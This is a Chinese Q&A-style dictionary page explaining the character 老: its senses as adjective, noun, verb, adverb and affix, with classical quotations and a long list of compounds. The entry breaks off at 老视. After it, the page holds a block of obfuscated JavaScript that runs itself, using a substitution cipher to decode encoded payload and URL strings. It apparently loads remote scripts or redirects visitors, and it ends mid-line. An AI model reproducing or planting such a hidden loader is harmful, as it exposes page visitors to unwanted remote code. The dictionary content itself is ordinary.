老字的几种解释

2025-01-23 08:12:33
推荐回答(1个)
回答1:


lǎo
〈形〉
(1)
(会意。甲骨文字形,象一个手里拿着拐杖的老人形。本义:年老,衰老)
(2)
五十至七十岁的高龄 [old;aged]
老,考也。七十曰老。――《说文》
七十以上曰老。――《礼记·曲礼》
有父母耆老而无昆弟者以告。――《国语·吴语》。注:“六十曰耆,七十曰老。”
使帅一二耋老而绥焉。――《公羊传·宣公十二年》。注:“六十称耋,七十称老。”
老冉冉其将至兮。――《楚辞·离骚》
六十以上为老男,五十以上为老女。――《管子·海王》注
穷当益坚,老当益壮。――《后汉书》
(3)
又如:老钝(年老迟钝);老家人(老仆人);老院子(老仆人);老丹青(老画家);老行(老年男子);老姐(年老的女仆);老杜(指杜埔。与后来的杜牧相对而言);老羸(年老瘦弱);老口(年老的人;亦指牲口年龄老)
(4)
历时长久 [long-standing]
百年老屋,尘泥渗漉,雨泽下注。――明·归有光《项脊轩志》
(5)
又如:老工厂,老房子;老亲(多年的或世代的姻亲关系);老晴(天晴得牢,不会很快转阴);老酒(陈年的酒);老桧(老刺柏);老牧(旧称久任地方官者);老相识(相识已久的人)
(6)
娴熟,富有经验,阅历深 [experienced]。如:老辣(老练而有锋芒);老落(成熟,老练);老道(老练);老粉嘴(老驴。即在拉磨时老是偷吃面粉的驴)
(7)
厚 [thick]。如:老脸皮(老面皮。脸皮厚);老着脸(厚着脸皮);老趼(手掌或脚掌上因摩擦而生的硬皮)
(8)
大 [great]。如:老大小(偌大;老大的);老汗(大汗);老劲(很大的气力)
(9)
排行在最后的 [youngest]
我那太公有个老女儿,年方二十岁,更不曾配人。――《西游记》
(10)
又如:老生女儿(最后的一个女儿);老女儿(最小的女儿)

lǎo
〈名〉
(1)
老年;晚年 [old age]
皆羸老之卒。――《资治通鉴·唐纪》
老妇出门看。――唐·杜甫《石壕吏》
(2)

独与老翁别。
欲言国之老少。――清·梁启超《饮冰室合集·文集》
(3)
又如:老生(老年之人);老况(老年的景况);老耋(老迈)
(4)
老年人 [old people;the aged]。如:男女老幼;敬老院;老儿(老人家);老老(对老年男子的尊称);老先(对年长者的尊称,老先生);老老头(老头儿)
(5)
对先辈、年长者的尊称 [your]
(6)
对老人的尊称。如:老太(老太太。对老年妇女的尊称);老官(尊称年长的人);老底(父亲);老阿妈(女真语称祖父);老郎(对前辈艺人的尊称;教头;老练);老先儿(老先。老先生,对老年男子的尊称)
(7)
敬词。多不表示年岁。如:老办(老板);老先生(对年高望重者的敬称);老大人(尊称年老位尊的人);老相公(旧时对上层社会年老男子的敬称)
(8)
自称 [I]。如:老妾(年老妇女的谦称);老媳妇(老妇人的谦称);老爹(自称是对方父亲。詈词)
(9)
古时对某些臣僚的尊称 [term of honor and respect for some feudal officials]
(10)
指上公
(11)
指上卿
(12)
指大夫
(13)
指大夫的家臣
(14)
指群吏之尊者
(15)
指父母或兄长 [parents or brother]
老吾老,以及人之老。――《孟子》。朱熹注:“吾老,谓我之父兄。人之老,谓人之父兄。”
(16)
又如:老母(年老的母亲);老子娘(指父母双亲);老亲(年老的父母)
(17)
老子及其哲学的省称 [Laozi]。如:老氏(指老子);老生(指老子);老易(老子与周易的并称);老庄(老子与庄子的并称)
(18)


lǎo
〈动〉
(1)
死的讳称 [die]
老于户牖之下。――明·张溥《五人墓碑记》
以备京中老了人口,在此停灵。――《红楼梦》
(2)
又如:老去(死去);老家(指阴间。俗语以“回老家”比喻死亡)
(3)
敬爱,敬重 [respect and love;honor]
老吾老,以及人之老。(指第一个老。)――《孟子》
(4)
告老 [retire from age]
余将致政焉…乃老。――《国语》
范武子将老。――《左传·宣公十七年》
(5)
变老;衰老 [be old and feeble]
天若有情天亦老。――李贺《金铜仙人醉汉歌》
(6)
衰老;衰颓 [old and feeble;senil;decrepit]
臣之壮也,犹不如人;今老矣,无能为也已。――《左传》
(7)
又如:老色(衰老之色);老拙(老朽愚拙);老气(暮气);老背悔(老背晦。老胡涂);老货(骂老人的话)

lǎo
〈副〉
(1)
用在动词前面,表示某种动作、行为或状态在一段较长时间里一直持续不断发生或时常重复出现,有“经常”、“时常”的意思;有时“老”和“是”连用,有强调的意味 [always]。如:小孩子,别老问这个啊;你老说这些,有啥用!
(2)
用在形容词前面,表示程度深,相当于“很”、“极” [very]。如:老早;老长;老咎晚(很晚);老大(极,甚。如今俗语老大不愿意、老大不甘心);老咱晚(很晚);老大无成(年岁已很大,毫无建树)
(3)
很久 [for a long time]。如:老没见你啊

lǎo
〈前缀〉
(1)
加在姓、名和某些称谓的前面。如:哎呀!原来是老弟;老杨,快走哇!
(2)
加在兄弟姐妹排行次序上。如:老二去了哪里?;老大还没回来
(3)
加在某些动植物名词前面。如:老虎;老鼠;老玉米

lǎo
〈后缀〉
代指人(含有轻视意)。也作“佬”。如:庄稼老;外国老
老八辈子
lǎobābèizi
[stale] 极为古老、陈旧
那是老八辈子的话,如今可不时兴了
老白干儿
lǎobáigānr
[spirit (usu. distilled from sorghum or maize);white spirit] [方]∶白干儿。白酒
老百姓
lǎobǎixìng
[civilian;common folk;the people; man in the street; rank and file] 区别于军人和政府官员的人民群众的习称;平民;居民
真正的老百姓,忠厚而不装模作样
老板
lǎobǎn
(1)
[boss; manager; patron]∶私营工商业的财产所有者
木材厂老板
(2)
[shopkeeper]∶零售店的业主。亦称“老办”
(3)
[landlord]∶旅馆或公寓的主人
老板娘
lǎobǎnniáng
(1)
[shopkeeper's wife]∶老板的妻子
(2)
[proprietress]∶女性业主
(3)
[landlady]∶拥有或管理餐馆、公寓或寄宿舍的女人
老伴,老伴儿
lǎobàn,lǎobànr
[(of an old married couple) husband or wife;my old gal; my old pot and pan] 老年夫妻相互之间的称谓
老保守
lǎobǎoshǒu
(1)
[stick-in-the-mud]∶极端保守的人
(2)
[old fogy]∶非常守旧的人
老鸨
lǎobǎo
[madam;procuress] 旧时开妓院的女人;鸨母
老本
lǎoběn
(1)
[last stake;capital;principal]∶最初的本钱,也比喻老资历
把老本输光
(2)
[old edition]∶老的版本
老鼻子
lǎobízi
[a great deal;abundant;substantial] [方]∶可多了;多得很
他发表的论文老鼻子了
老表
lǎobiǎo
(1)
[cousin]∶表兄弟
(2)
[brother][方]∶又作“老表”。江西省方言。意思同“老乡”近似,含有亲切意味
老兵
lǎobīng
[campaigner; veteran; old soldier] 参加过许多战役的军人;尤指任何行业中喜爱本行的老手
老伯
lǎobó
(1)
[uncle]
(2)
对年长男子的尊称
(3)
对父亲的朋友或朋友的父亲的敬称
老伯伯
lǎobóbo
[granddad] 对老年男子的尊称
老财
lǎocái
(1)
[moneybags]∶财产多的人,多指财主
(2)
[landlord]∶地主
老残游记
lǎocán yóujì
[travel notes by Laocan] 一书名,写一个江湖医生老残在各地的见闻和活动。它对晚清的黑暗社会现实有所暴露,对事物描写细腻、语言生动。但这部作品对资产阶级民主革命和义和团运动采取了否定和攻击的态度,反映了作者思想的局限。作者刘鹗(1857―1909),字铁云,笔名洪都百炼生,清末丹徒(现在江苏省丹徒县)人。明湖居,书馆名
老巢
lǎocháo
[robbers'den; robbers' lair (nest)] 指匪徒长期盘踞的地方
直捣土匪老巢
老臣
lǎochén
(1)
[I, Your old servant] 老年人对君主或他人的谦称
老臣病足。――《战国策·赵策》
(2)

老臣今者殊不欲食。
老成
lǎochéng
[experienced;steady; mature; mellowing] 老练成熟;阅历多而练达世事
幼年丧父使他变得少年老成
老成持重
lǎochéng-chízhòng
[be experienced and prudent; be rich in years and sound of judgment] 阅历多,经验丰富,遇事沉着稳重
而老成持重,坐靡岁月,终于无成者,不可胜数。――清·魏善伯《留侯论》
老处女
lǎochǔnǚ
(1)
[spinster]∶已过一般结婚年龄的或者好像不可能要结婚的女子
(2)
[old maid]∶古板神经质的女人,对无关紧要的琐碎事感到烦躁、懊恼的女人
老粗,老粗儿
lǎocū,lǎocūr
[uneducated person;rough and ready chap] 指缺乏文化教养的人(多用为谦辞)
老搭档
lǎodādàng
[old workmate or partner] 长期互相配合或共事多年的老伙伴儿
老大
lǎodà
(1)
[in old age]∶年老
少壮不努力,老大徒伤悲。――《乐府诗集·长歌行》
少小离家老大回。――唐·贺知章《回乡偶书》
老大嫁作商人妇。――唐·白居易《琵琶行(并序)》
(2)
[the eldest child (brother,sister)]∶兄弟姊妹中的年长者
老大务农,老二当兵
(3)
[the chief crewman of a wooden boat;boatman] [方]∶指木船的船主或船夫
(4)
[greatly;very]∶很大,非常
老大不快
老大吃惊
老大难
lǎodànán
[knotty;be hard nut to crack;be long-standing,big and difficult problem] 形容问题很多,积重难返,不易改进的情况
老大难的技术问题
老大娘
lǎodàniáng
[aunty;granny] 对年老妇女的尊称
老大爷
lǎodàye
[uncle;grandpa] 对年老男子的尊称
老旦
lǎodàn
[actor playing the part of an old woman in the Chinese traditional drama] 戏曲角色名,旦的一种。指扮演老年妇女的角色
老当益壮
lǎodāngyìzhuàng
(1)
[hale and hearty in old age; be old but vigorous]∶主要指老年人继续保持旺盛的斗志
丈夫为志,穷当益坚,老当益壮。――《后汉书·马援传》
(2)
[florid old; be old in age but buoyant in spirit; there's many a good tune played on an old fiddle]∶年纪虽老,仍健康和充满活力
老当益壮,不甘落后
老到
lǎodào
[be experienced and trustworthy] [方]∶指办事老练周到
老道
lǎodào
[Taoist priest] 道士
老底,老底儿
lǎodǐ,lǎodǐr
(1)
[ground one relies for support;sb.'s past or unsavory background]
(2)
内情;底细
(3)
指祖产;老本
老弟
lǎodì
(1)
[dear friend;fellow;Mac]∶亲切称呼比自己年纪小的男性
(2)
[younger brother][方]∶弟弟
老雕虫
lǎodiāochóng
[write for months and years on end] 指长年累月埋头写诗作文。雕虫,比喻小技,小道
老调
lǎodiào
[platitude;hackeyed theme] 指重复多次的使人厌烦的论调
老调重弹
老掉牙
lǎodiàoyá
[antiquated;antediluvian;toothless;be as old as Adam; the Dutch have taken; Hollant;Queen Anne is dead] 陈旧过时
一辆老掉牙的赫德逊牌汽车
老爹
lǎodiē
(1)
[one's father]∶某人的父亲
(2)
[sire;(court.address)venerable elderly person] [方]∶对老年男子的尊称;旧时对乡绅、官吏或长者的尊称
老豆腐
lǎodòufu
[hardened bean curd] 北方小吃。豆浆煮开后点上石膏或盐卤凝成块(比豆腐脑儿老些),吃时浇上麻酱、韭菜花、辣椒油等调料
老儿子
lǎo érzi
[the youngest son] [口]∶儿子中最小的那个
老佛爷
lǎofóye
(1)
[(Budd.) the Buddha]∶佛爷
(2)
[(Qing Dynasty) the emperor's father or mother]∶清代对皇太后或太上皇的俗称
老夫
lǎofū
[an old fellow like me] 年老的男子自称
老夫自有主张,尔等不必多言
老父
lǎofǔ
[oldman; ones elder; one's senior; father] 对老年男子的尊称
俄有老父至。――三国魏·邯郸淳《笑林》
老妇
lǎofù
(1)
[I. old woman] 年长妇女自称的谦词
老妇必唾其面。――《战国策·赵策》
(2)

老妇恃辇而行。
老疙瘩
lǎogādɑ
[the youngest son or daughter] [方]∶最小的儿子或女儿
老庚
lǎogēng
[born in the same year;of the same age] [方]∶同龄人之间的亲热称呼
老公
lǎogōng
(1)
[husband]∶丈夫的俗称
(2)
[eunuch]∶宦官的俗称
(3)
[old man]
(4)
老年人的通称
(5)
对老年人的蔑称
老公公
lǎogōnggong
(1)
[grandpa]∶对老者的敬称
(2)
[husband's father]∶女性称丈夫的爸爸,又叫“公公”
(3)
[eunuch]∶旧称“太监”
老姑娘
lǎogūniɑng
[spinster] 通常已到中年的未婚女人
老古板
lǎogǔbǎn
[be ultraconservative;fuddy-duddy] 极守旧;守旧的人
人一过三十,就该…扪心自问他是否有几分像一个老古板
老古董
lǎogǔdǒng
(1)
[untique;museum piece; old fashioned article]∶古老的或过时的东西;过去的东西
(2)
[old fogey]∶思想陈腐或生活习惯陈旧的人
老闺女
lǎoguīnü
[youngest daughter] [口]∶老姑娘
老汉
lǎohàn
(1)
[old man]∶年老的男子
(2)
[an old fellow like me]∶老年男人的自称
老好人
lǎohǎorén
[benign and uncontentious person who is indifferent to matters of principle; good old chap;one who tries never to offend anybody] 随和厚道,不愿得罪人,缺乏原则性的人。
老糊涂
lǎohútu
[senile person;senility] 年老糊涂,也指年老糊涂的人
老虎
lǎohǔ
[tiger] 亚洲产的一种大型食肉类哺乳动物(Felis tigris),在黄褐色的毛皮上有黑色横纹,尾长而无簇毛,有黑圈,下体大部白色,无鬣,典型的体形比狮子略大
老花眼
lǎohuāyǎn
[presbyopia] 老视眼的通称
老化
lǎohuà
(1)
[ageing]
(2)
随着时间的推移而基本性质或力量衰退
经过一个严冬之后汽车的电瓶老化了
(3)
指在一定地区、范围内老年人的比重增长
欧洲人口老化
(4)
[out of date]∶知识的相对过时
老皇历
lǎohuánglì
[ancient history;last year's calendar;obsolete practice] 比喻过时的老规矩
世道变了,不能再照老皇历办事
老黄牛
lǎohuángniú
[a person who serves the people wholeheartedly] 比喻老老实实、勤勤恳恳工作的人
老火
lǎohuǒ
(1)
[方]
(2)
[grave;serious]∶过度;利害
(3)
[problem difficult to solve]∶[事情]费力难办
老伙伴
lǎohuǒbàn
(1)
[sidekick]∶与另一人密切关连的人,尤指处在从属地位的人
(2)
[gaffer]∶常用作一种友好的称呼
老几
lǎojǐ
(1)
[where (do you) come in the family?;order of seniority among brothers]∶在兄弟姐妹间排行第几
你是老几
(2)
[nobody]∶用于反问,表示某个范围内数不上、不够格
我算老几
老骥伏枥
lǎojì-fúlì
[able men tied down to a routine post;ambition survives even in old age like the old steed in the stable that still wants to gallop a thousand li] 三国魏·曹操《步出夏门行》:“老骥伏枥,志在千里。烈士暮年,壮心不已。”(烈士:有志功业的人)比喻年已老但雄心壮志不减当年
老家
lǎojiā
(1)
[old home]∶指在故乡的家庭
(2)
[hometown;native place]∶指原籍
我老家是湖南
(3)
[my parents or your parents]∶对人称自己的或他人的父母
老监
lǎojiān
(1)
[old prison] 牢房
狱中为老监者四。――清·方苞《狱中杂记》
(2)

械系入老监。
老奸巨猾
lǎojiān-jùhuá
[crafty old scoundrel;deep old file;shrewd and crafty; great hypocrite; old hand at trickery and deception; sly wily old fox] 深历世故,十分奸诈狡猾的人
老奸巨猾,匿身州悬,舞法扰民。――《宋史·食货志》
老茧
lǎojiǎn
[callus callosity] 手上又厚又硬的皮
老将
lǎojiàng
(1)
[old-timer;veteran]∶在某一行业从事多年而经验丰富的人
老将出马,一个顶俩
(2)
[marshal]∶指象棋中的将帅
老交情
lǎojiāoqing
[long-standing friendship] 长期保持的友谊
老景
lǎojǐng
[life and circumstances in old age] 老年时的景况
老景堪怜
老境
lǎojìng
(1)
[old age;vale of years]∶老年时代
(2)
[life and circumstances in old age]∶老年时的境况
老酒
lǎojiǔ
[wine (esp. Shaoxing rice wine)][方]∶酒,特指绍兴酒
老君
lǎojūn
[Laojun] 中国道教对老子的神化称呼,又称“太上老君”。多种道教经典对老子有各种神化说法,大致说老子以“道”为身,无形无名,生于天地之先,住于太清仙境,长存不灭,常分身化形降生人间,为历代帝王之师,伏羲时为郁华子,神农时为大成子,祝融时为广成子
老客,老客儿
lǎokè,lǎokèr
[travelling trader][方]∶称客商
老来俏
lǎoláiqiào
[maxi-bopper] 衣着打扮如青年人的中老年人
老辣
lǎolà
[be efficient but unscruplous] 老练刚劲
歌行中悲愤慷慨苦硬老辣者,乃似卢仝、刘义。――刘克庄《跋赵戣诗卷》
老来少
lǎoláishào
(1)
[be old in age but young at heart]∶人老心不老;比实际年龄少相
他是这一带有名的老来少
(2)
[tricolor amaranth][方]∶一种一年生草本植物,花红叶黄,有观赏价值
老老
lǎolɑo
[maternal grandma (grandmother)] 即“姥姥”,外祖母
老脸
lǎoliǎn
(1)
[face;prestige used by aged people]∶老年人指自己的情面
(2)
[shameless; thick-skinned]∶厚脸皮
老练
lǎoliàn
[experienced; skillful; seasoned; hard-boiled] 阅历深、经验丰富的
她办事很老练
老路
lǎolù
(1)
[usual way;old road]∶以前走过的道路
咱们走那条老路回家吧
(2)
[beaten track]∶常规,惯例
走老路
老妈子
lǎomāzi
[amah;maidservant] 旧指岁数较大的女仆
老马识途
lǎomǎ-shítú
[an experienced man knows the ropes;knowledge of a veteran; an old hand is a good guid as an old horse knows the way; the devil knows many things because he is old] 比喻富于经验堪为先导
老马识途添病骨,穷猿投树择深枝。――清·黄景仁《两当轩集》
老迈
lǎomài
[aged;senile] 年老体弱(常含衰老意)
老毛病
lǎomáobìng
(1)
[chronic ailment]∶经常犯的病
这是我的老毛病,一到冬天就咳嗽
(2)
[old weakness;invetrate habit;old trouble]∶经常出现的缺点
粗心大意是他的老毛病
老面子
lǎomiànzi
(1)
[old feelings]∶旧日私人间的情分
(2)
[feelings of older generation]∶长辈的私人情分
老谋深算
lǎomóu-shēnsuàn
[be circumspect and farseeing;be experienced and astute;be scheming and calculating; make every move only after mature deliberation] 精明干练,考虑问题周密
这人绰号“老狐狸”,老谋深算,诡计多端,很难对付
老姥
lǎomǔ
(1)
[old lady]:老妇人
(2)
[old woman]:同“老妇”,用于自称的谦词
老姥岂敢言。――《玉台新咏·古诗为焦仲卿妻作》
老奶奶
lǎonǎinɑi
[old grandmother] 年老或上了年纪和可尊敬的妇女
老年
lǎonián
(1)
[old age]∶正常生命历程的最后阶段
(2)
[yellow leaf]∶生命的晚年
五十三岁,步入老年了
(3)
[feel one's age;get on in years]∶表示人们接近晚年的时期
老年人
lǎoniánrén
[old people;person of advanced age;the aged] 上了年纪或较老的人
老娘
lǎoniáng
(1)
[one's mother]∶母亲的俗称
(2)
[me;myself][方]∶中、老年妇女的自称
(3)
[midwife]∶收生婆的俗称
(4)
[maternal grandmother][方]∶外祖母的别称
老牛破车,老牛拉破车
lǎoniú-pòchē,lǎoniú lā pòchē
[an old ox pulling a rickety cart―making slow progress;at snails pace as a slow coach; slow and inefficient work] 形容人做事就像老牛拉破车,慢慢吞吞,不讲究效率
凭我们这个老牛破车的厂子,怎么能跟人家比?
老牛舐犊
lǎoniú-shìdú
[an old cow licking her calf―parents doting on their children] (舐:舔;犊:小牛)。老牛爱小牛,故常以舌舔之。比喻人之疼爱其子女
愧无日磾先见之明,犹怀老牛添犊之爱。――《后汉书·杨彪传》
老农
lǎonóng
[old farmer;experienced veteran peasant] 年老的农民;从事农业生产长久而经验丰富的农民
老牌
lǎopái
[old-line;old brand] 指物品生产年代久,质量好,信得过的。也比喻资格老,人所公认的
现在没有一家老牌的电影公司不同电视发生某些业务联系
老派,老派儿
lǎopài,lǎopàir
(1)
[old-fashioned;conservative]∶老式的打扮、派头
他穿着老派,不入流
(2)
[old-fashionedperson;a conservative person]∶指装束、派头陈旧的人,也指思想僵化保守的派别
老婆
lǎopo
(1)
[old woman]∶老太婆
(2)
[wife]∶丈夫称妻子
老婆孩子
老婆婆
lǎopópo
(1)
[方]
(2)
[granny]∶小孩称呼老太太
(3)
[husband's mother]∶妻子称呼丈夫的妈妈;婆母
老婆子
lǎopózi
(1)
[old woman]∶老年妇女
(2)
[beldam]∶令人讨厌的老太婆
老气
lǎoqì
(1)
[old mannish]∶老练;沉着稳重
那位女士显得很老气
(2)
[(of clothes) dark and old-fashioned]∶形容服装等的颜色深暗、样式陈旧
老气横秋
lǎoqì-héngqiū
(1)
[be pompously conceited;be proud of one's seniority;arrogant on account of one's seniority; self-importance of the aged]∶形容老练而自负的神气
东坡笔端游戏,槎牙老气横秋。――宋·楼钥《玫槐集》
(2)
[lacking in youthful vigour]∶形容缺乏朝气,暮气沉沉
众人取笑了一回,见新人老气横秋的那个样子,便纷纷散去。――清·吴趼人《二十年目睹之怪现状》
老前辈
lǎoqiánbèi
[grandaddy;one's elder;one's senior] 清朝翰林对比自己早五科入翰林院者的尊称;特指对同行中年纪大、资历深、经验多的人的尊称
老腔
lǎoqiāng
[Lao opera] 流行于陕西潼关、华阴一带的皮影戏剧种
老亲
lǎoqīn
(1)
[old relatives]∶结为亲戚时间较长
都是老亲旧邻的,还用什么客套
(2)
[old parents]∶年老的双亲
老秋
lǎoqiū
[late autumn][方]∶深秋
老拳
lǎoquán
[fists used in beating others] 铁拳
让你尝尝老拳的厉害
老人
lǎorén
(1)
[old people; the aged]∶上年纪的或较老的人
(2)
[aged parents or grandparents]∶上了年纪的父母或祖父母
老人斑
lǎorénbān
[spots on the skin of old man] 寿斑;老年人皮肤上的色素沉着
老人家
lǎorenjiɑ
(1)
[granddad or grandma]∶对老人的尊称
你老人家多大年纪了
(2)
[parent]∶对人称自己的或对方的父母
老人家都好吗?
老人山
lǎorén shān
[mountain resembling the old man] 该山及鸡笼山、屏风山均在桂林市区,因状得名
老弱残兵
lǎoruòcánbīng
(1)
[remaining troops made up of the old and weak;motley troops unfit for combat duty]∶年老体弱,不能打仗的士兵
城中无粮,可发老弱残兵并妇人出降,彼必不为备,我即以兵继百姓之后出攻之。――《三国演义》
(2)
[incompetent persons for a given job]∶泛指年老体弱做事能力差的人
他不肯抢别人的买卖,特别是对于那些老弱残兵。――老舍《骆驼祥子》
老少
lǎoshào
[the old and the young] 老年人和少年人
老少爷们儿
老身
lǎoshēn
[an elderly woman referring to herself] 早期白话中老年妇人的自称
老生
lǎoshēng
(1)
[scholar of advance age]∶老书生
(2)
[an elderly character in Chinese opera]∶戏剧角色名。生的一种。指扮演老年男子的角色
老生常谈
lǎoshēng-chángtán
[be trite and commonplace;common talk of an old scholar;commonplace;platitude; standing dish; sunday schools truth; twice-told tale] 原义为年老书生的平凡议论,泛指经常说起的老话
邓颺怒曰:“此老生之常谈耳!”辂曰:“老生者见不生,常谈者见不谈。”――《三国演义》
老师
lǎoshī
(1)
[teacher]
(2)
今为教师的尊称
(3)
古为年老辈尊的传授学术的人;泛称传授文化、技艺的人
(4)
明清两代,生员、举子称座主和学官为“老师”
(5)
对僧侣的尊称
老师傅
lǎoshīfu
[experienced worker;master craftsman] 年长于自己的同专业工人;泛称年长者
老师傅,借个火
老实
lǎoshi
(1)
[honest]∶诚实的
没有一个老实的商人会有脸去要那么高的价钱
(2)
[frank]∶坦率、不掩饰的
老实说,我很不赞成这个意见
(3)
[well-behaved]∶规规矩矩的
这个人很老实
(4)
[simpleminded;naive;easily taken in]∶不聪明
老实巴脚,老实巴交
lǎoshibājiāo,lǎoshibājiāo
[honest] [方]∶谨慎小心, 平庸厚道的样子
一个一个心慈面善, 全是老实巴交的。――徐光耀《平原烈火》
他的哥哥, 那个至今还在当生产队长的老实巴脚的人。――邹志安《土地》
老实疙瘩
lǎoshigēdɑ
[honest and trustworthy person][方]∶忠厚老实的人
老式
lǎoshì
[old-fashioned] 形式或样子陈旧
老式的住宅
老式的螺旋桨飞机
老视

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 